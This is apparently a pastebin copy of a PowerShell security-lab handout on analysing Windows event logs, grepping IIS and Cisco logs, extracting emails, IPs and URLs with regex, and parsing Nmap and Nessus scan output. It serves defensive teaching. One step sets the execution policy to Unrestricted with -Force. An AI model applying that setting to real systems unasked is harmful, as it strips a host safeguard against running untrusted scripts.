  1713. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
  1714. ------------------------Type This------------------------------
  1715. $seclog = Import-Clixml security.xml
  1716.  
  1717. $seclog | select -Last 5
  1718. ---------------------------------------------------------------
  1719.  
  1720. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
  1721. ------------------------Type This------------------------------
  1722. Get-EventLog Application -After (Get-Date).AddDays(-1)
  1723. ---------------------------------------------------------------
  1724. You can use '-after' and '-before' to filter date ranges
  1725.  
  1726. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
  1727. By default, an ordinary user does not have permission to read the security log.
  1728.  
  1729.  
  1730.  
  1731.  
  1732. Step 3: Drill into a specific entry
  1733. -----------------------------------
  1734. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
  1735.  
  1736. ------------------------Type This------------------------------
  1737. $seclog | select -first 1 | fl *
  1738. ---------------------------------------------------------------
  1739.  
  1740. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
  1741.  
  1742. ------------------------Type This------------------------------
  1743. ($seclog | select -first 1).message
  1744.  
  1745. (($seclog | select -first 1).message).gettype()
  1746. ---------------------------------------------------------------
  1747.  
  1748.  
  1749. In the *nix world you often want a count of something (wc -l).
  1750. How often is the SeSecurityPrivilege privilege mentioned in the message property?
  1751. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
  1752. ------------------------Type This------------------------------
  1753. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
  1754. ---------------------------------------------------------------
  1755. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
  1756.  
  1757. ------------------------Type This------------------------------
  1758. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
  1759. ---------------------------------------------------------------
  1760.  
  1761. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
  1762. Use the count property to determine the total number of entries in the event log.
  1763. ------------------------Type This------------------------------
  1764. $seclog.Count
  1765. ---------------------------------------------------------------
  1766.  
  1767.  
  1768.  
  1769.  
  1770.  
  1771. ############################
  1772. # Simple Log File Analysis #
  1773. ############################
  1774.  
  1775.  
  1776. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
  1777.  
  1778. ------------------------Type This------------------------------
  1779. mkdir c:\ps
  1780. cd c:\ps
  1781. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  1782. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
  1783. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
  1784. ---------------------------------------------------------------
  1785.  
  1786.  
  1787.  
  1788. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
  1789. ------------------------Type This------------------------------
  1790. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
  1791. ---------------------------------------------------------------
  1792.  
  1793.  
  1794.  
  1795. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
  1796. ------------------------Type This------------------------------
  1797. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
  1798. ---------------------------------------------------------------
  1799.  
  1800.  
  1801. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
  1802. ------------------------Type This------------------------------
  1803. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
  1804. ---------------------------------------------------------------
  1805.  
  1806.  
  1807. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
  1808. ------------------------Type This------------------------------
  1809. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
  1810. ---------------------------------------------------------------
  1811.  
  1812. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
  1813. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
  1814. ------------------------Type This------------------------------
  1815. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
  1816. ---------------------------------------------------------------
  1817.  
  1818.  
  1819.  
  1820. ##############################################
  1821. # Parsing Log files using windows PowerShell #
  1822. ##############################################
  1823.  
  1824. Download the sample IIS log http://pastebin.com/LBn64cyA
  1825.  
  1826. ------------------------Type This------------------------------
  1827. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  1828.  
  1829. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
  1830. ---------------------------------------------------------------
  1831.  
  1832.  
  1833. The above command would give us all the WebDAV requests.
  1834.  
  1835. To filter this to a particular user name, use the below command:
  1836. ------------------------Type This------------------------------
  1837. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
  1838. ---------------------------------------------------------------
  1839.  
  1840.  
  1841. Some more options that will be more commonly required :
  1842.  
  1843. For Outlook Web Access : Replace WebDAV with OWA
  1844.  
  1845. For EAS : Replace WebDAV with Microsoft-server-activesync
  1846.  
  1847. For ECP : Replace WebDAV with ECP
  1848.  
  1849.  
  1850.  
  1851.  
  1852.  
  1853.  
  1854.  
  1855. ####################################################################
  1856. # Windows PowerShell: Extracting Strings Using Regular Expressions #
  1857. ####################################################################
  1858.  
  1859.  
  1860. Regex Characters you might run into:
  1861.  
  1862. ^ Start of string, or start of line in a multiline pattern
  1863. $ End of string, or start of line in a multiline pattern
  1864. \b Word boundary
  1865. \d Digit
  1866. \ Escape the following character
  1867. * 0 or more {3} Exactly 3
  1868. + 1 or more {3,} 3 or more
  1869. ? 0 or 1 {3,5} 3, 4 or 5
  1870.  
  1871.  
  1872.  
  1873. To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
  1874.  
  1875. 1) The input file that will be parsed
  1876. ------------------------Type This------------------------------
  1877. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
  1878. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
  1879. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
  1880. ---------------------------------------------------------------
  1881. 2) The regular expression that the input file will be compared against
  1882.  
  1883. 3) The output file for where the extracted data will be placed.
  1884.  
  1885. Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
  1886. Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
  1887.  
  1888. To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
  1889. ------------------------Type This------------------------------
  1890. $input_path = 'c:\ps\emails.txt'
  1891. $output_file = 'c:\ps\extracted_addresses.txt'
  1892. $regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
  1893. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1894. ---------------------------------------------------------------
  1895.  
  1896.  
  1897. In this script, we have the following variables:
  1898.  
  1899. 1) $input_path to hold the path to the input file we want to parse
  1900.  
  1901. 2) $output_file to hold the path to the file we want the results to be stored in
  1902.  
  1903. 3) $regex to hold the regular expression pattern to be used when the strings are being matched.
  1904.  
  1905. The select-string cmdlet contains various parameters as follows:
  1906.  
  1907. 1) "-Path" which takes as input the full path to the input file
  1908.  
  1909. 2) "-Pattern" which takes as input the regular expression used in the matching process
  1910.  
  1911. 3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
  1912.  
  1913. Using ">" the results are written to the destination specified in the $output_file variable.
  1914.  
  1915. Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
  1916.  
  1917. IP addresses
  1918. ------------
  1919. For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
  1920. ------------------------Type This------------------------------
  1921. $input_path = 'c:\ps\ip_addresses.txt'
  1922. $output_file = 'c:\ps\extracted_ip_addresses.txt'
  1923. $regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
  1924. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1925. ---------------------------------------------------------------
  1926.  
  1927.  
  1928.  
  1929. URLs
  1930. ----
  1931. For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
  1932. You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
  1933. ------------------------Type This------------------------------
  1934. $input_path = 'c:\ps\URL_addresses.txt'
  1935. $output_file = 'c:\ps\extracted_URL_addresses.txt'
  1936. $regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
  1937. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1938. ---------------------------------------------------------------
  1939.  
  1940. In addition to the examples above, many other types of strings can be extracted using this script.
  1941. All you need to do is switch the regular expression in the "$regex" variable!
  1942. In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
  1943.  
  1944.  
  1945.  
  1946. ##########################
  1947. # Parsing Nmap XML Files #
  1948. ##########################
  1949. If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
  1950. https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip
  1951.  
  1952.  
  1953.  
  1954.  
  1955. Run Powershell as administrator
  1956. ------------------------Type This------------------------------
  1957. cd C:\ps\
  1958.  
  1959. Get-ExecutionPolicy
  1960. Set-ExecutionPolicy Unrestricted –Force
  1961. ---------------------------------------------------------------
  1962.  
  1963.  
  1964. Parse nmap XML
  1965. ------------------------Type This------------------------------
  1966. .\parse-nmap.ps1 samplescan.xml
  1967. ---------------------------------------------------------------
  1968.  
  1969.  
  1970. Process all XML files
  1971. ------------------------Type This------------------------------
  1972. .\parse-nmap.ps1 *.xml
  1973. ---------------------------------------------------------------
  1974.  
  1975. Piping also works
  1976. ------------------------Type This------------------------------
  1977. dir *.xml | .\parse-nmap.ps1
  1978. ---------------------------------------------------------------
  1979.  
  1980. Advanced parsing with filtering conditions
  1981. ------------------------Type This------------------------------
  1982. .\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
  1983. ---------------------------------------------------------------
  1984.  
  1985.  
  1986. More parsing
  1987. ------------------------Type This------------------------------
  1988. .\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
  1989. ---------------------------------------------------------------
  1990.  
  1991. Parsing with match and multiple conditions
  1992. ------------------------Type This------------------------------
  1993. .\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
  1994. ---------------------------------------------------------------
  1995.  
  1996.  
  1997. CSV Export
  1998. ------------------------Type This------------------------------
  1999. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
  2000. ---------------------------------------------------------------
  2001.  
  2002. Import Data from CSV
  2003. ------------------------Type This------------------------------
  2004. $data = import-csv weblisteners.csv
  2005. $data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
  2006. ---------------------------------------------------------------
  2007.  
  2008.  
  2009. Export to HTML
  2010. ------------------------Type This------------------------------
  2011. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
  2012. ---------------------------------------------------------------
  2013.  
  2014.  
  2015. ########################################
  2016. # Parsing Nessus scans with PowerShell #
  2017. ########################################
  2018. If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
  2019. https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip
  2020.  
  2021.  
  2022.  
  2023. Let's take a look at the Import-Csv cmdlet and what are the members of the object it returns:
  2024. ------------------------Type This------------------------------
  2025. Import-Csv C:\ps\class_nessus.csv | Get-Member
  2026. ---------------------------------------------------------------
  2027.  
  2028. filter the objects:
  2029.  
  2030. ------------------------Type This------------------------------
  2031. Import-Csv C:\ps\class_nessus.csv | where {$_.risk -eq "high"}
  2032. ---------------------------------------------------------------
  2033.  
  2034. use the Select-Object cmdlet and only get unique entries:
  2035. ------------------------Type This------------------------------
  2036. Import-Csv C:\ps\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
  2037.  
  2038. Import-Csv C:\ps\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | Out-GridView
  2039. ------------------------Type This------------------------------
  2040.  
  2041. ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
  2042. ------------------------Type This------------------------------
  2043. Import-Csv C:\ps\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
  2044. ---------------------------------------------------------------
Add Comment
Please, Sign In to add comment